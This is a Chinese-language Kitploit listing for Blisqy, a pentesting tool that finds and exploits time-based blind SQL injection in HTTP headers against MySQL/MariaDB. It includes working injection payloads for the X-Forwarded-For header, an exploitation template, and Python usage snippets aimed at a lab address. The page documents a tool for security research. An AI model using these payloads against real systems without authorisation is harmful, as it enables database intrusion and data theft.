Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Blisqy — 版本0.2 - 利用HTTP头中的基于时间的盲SQL注入(MySQL/MariaDB)。 | Kitploit
工具/GitHubGitHub/johntroony/blisqy
漏洞扫描器漏洞利用Web安全模糊测试数据库安全
GitHubjohntroony/blisqy

Blisqy

版本0.2 - 利用HTTP头中的基于时间的盲SQL注入(MySQL/MariaDB)。

查看仓库
4161117年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

1. Blisqy

Blisqy 是一款辅助 Web 安全研究人员在 HTTP 标头中发现基于时间的盲 SQL 注入,并利用该漏洞的工具。

该利用过程通过盲 SQL 注入,对可打印 ASCII 字符进行位运算,从而从数据库中低速抽取数据(目前仅支持 MySQL/MariaDB)。

为了实现与其他 Python 工具的互操作性,并使其他用户能够使用 Blisqy 提供的功能,其中的模块可以被导入到其他基于 Python 的脚本中。

在测试基于时间的盲 SQL 注入时,任何网络延迟或拥塞都可能影响模糊测试或利用的效果。为了补偿可能导致的延迟和不确定性,Blisqy 的时间比较是动态的,并在运行时为每次测试计算。测试使用 greenlet(一种轻量级的协作调度执行单元)在 libevevent 循环之上提供高级同步 API。它提供了一种快速高效的方式在短时间内执行载荷测试,并且因为测试并非完全按顺序执行,所以一个测试不会影响另一个。

1.1. 新功能

Blisqy 现在支持对 HTTP 标头进行基于时间的盲 SQL 注入模糊测试,并且主要功能(模糊测试和利用)已分离到独立文件中,便于移植。

1.2. 使用 Blisqy 进行模糊测试

要使用模糊测试功能,请在 Python 脚本中导入以下模块,并提供目标及模糊测试数据,如下所示:

root@kitploit:~
from lib.blindfuzzer import blindSeeker

目标参数应以字典/JSON 格式提供,例如(注意变量数据类型):

root@kitploit:~
    Server = '192.168.56.101'
    Port = 80
    Index = 1
    Method = 'GET'
    Headerfile = "fuzz-data/headers/default_headers.txt"
    Injectionfile = "fuzz-data/payloads/mysql_time.txt"

    target_params = {
        'server': Server,
        'port': Port,
        'index': Index,
        'headersFile': Headerfile,
        'injectionFile': Injectionfile,
        'method': Method
    }

提供目标参数后,调用模糊测试器的方法如下所示:

root@kitploit:~
vulns = blindSeeker(target_params)
vulns.fuzz()

你可以查看 FindBlindSpot.py 以了解此示例。

1.2.1. 模糊测试输出示例

如果成功,你将获得一份关于“可注入”测试的报告。请注意,尽管 Blisqy 在测试时尽量补偿网络延迟和拥塞,但在继续之前,仍然有必要对报告为阳性的测试进行验证。

以下是示例报告:

root@kitploit:~
=================== [ 关键术语] ===================
Index = 配置的常数(延迟)
Base Index Record = 模糊测试前的服务器 Ping
Benching Record  = Base Index Record + Index
Fuzzing Record = 处理请求所花费的时间(含 Index)

===================== [ 逻辑] =====================
如果 Fuzzing Record 大于 Benching Record,则视为阳性;否则视为阴性。



[+] Injection : X-Forwarded-For : ' or sleep(1)#

[+] Header : X-Forwarded-For

[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 可注入。
__________________________________

[+] Injection : X-Forwarded-For : ' or sleep(1)='

[+] Header : X-Forwarded-For

[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 可注入。
__________________________________

Blisqy 模糊测试器运行截图:

Fuzz for Blind SQLi

1.3. 使用 Blisqy 进行利用

找到潜在的基于时间的盲 SQL 注入后,你可以准备一个脚本来利用存在漏洞的 Web 应用程序。

与模糊测试器类似,你可以在 Python 脚本中导入利用模块,并定义利用操作模板。下面是如何在 Python 脚本中导入模块的示例:

root@kitploit:~
from lib.blindexploit import SqlEngine

接下来,你需要提供目标详情及其利用所需的目标参数。下面是利用模糊测试器发现的盲 SQL 注入的示例实现:

目标数据应以字典/JSON 格式指定服务器、端口、发现的易受攻击标头及其值(某些应用程序需要或检查特定值)。另外注意变量数据类型。

root@kitploit:~
target = {
    'server': '192.168.56.101',
    'port': 80,
    'vulnHeader': 'X-Forwarded-For',
    'headerValue': 'fuzzer'
}

目标参数应随之提供,允许用户指定与利用偏好相关的选项。

root@kitploit:~
targetParam = {
    'sleepTime': 0.1,
    'payload': 'pass',
    'mysqlDig': 'yes',
    'interactive': 'on',
    'verbosity': 'high'
}
  • sleepTime 是用于载荷的延迟时间
  • payload 是使用自定义 SQL 查询(例如 select @@hostname)运行利用的选项。默认选项是 'pass'。
  • mysqlDig 启用自动利用并枚举模式中所有可用表。
  • interactive 是让用户与利用流程交互的选项。当你希望跳到数据库中感兴趣的部分时,这很有用。
  • verbosity 可以是高、中、低。这控制利用流程的输出信息量。

提供目标及其参数后,接下来需要提供利用流程的模板。Blisqy 提供了一种方式,让用户指定在哪里注入数据外泄 SQL 载荷以及 sleeptime 延迟。以下是一个针对上一小节示例报告中发现的漏洞的实现示例。

在 X-Forwarded-For 标头上发现的注入:

root@kitploit:~
' or sleep(1)='

此特定注入的模板:

root@kitploit:~
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"

在运行时,*sql* 将被替换为 SQL 注入载荷,*time* 将被替换为 sleep() 的延迟。

完成所有这些后,最后一步是实例化利用流程,让 MysqlDigger() 方法完成工作。

root@kitploit:~
# 创建实例
BlindSql = SqlEngine(target, targetParam, sqli)

# 枚举 MySQL 数据库
BlindSql.MysqlDigger()

你可以查看 ExploitBlindSpot.py 以了解此示例。

以下是利用操作的示例:

Exploit Blind SQLi

1.4. 待办事项

  • 集成一个智能模糊测试器,用于在 HTTP 标头和 Web 元素中寻找 SQL 注入漏洞
  • 支持对 HTTP 标头以外的 Web 端点进行盲 SQL 注入模糊测试和利用。

1.4.1. 贡献

如果你发现了 Blisqy 的任何有趣之处,或者认为应该添加/删除什么,请告知我。

  • 分享你的想法和愿望清单,
  • 发现拼写错误?请告诉我,
  • 找到优化 Blisqy 的方法?,
  • 建议如何支持其他 DBMS。

1.4.2. 参考

  • (PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. 可从以下网址获取: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation

  • PentesterLab - From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course

下载工具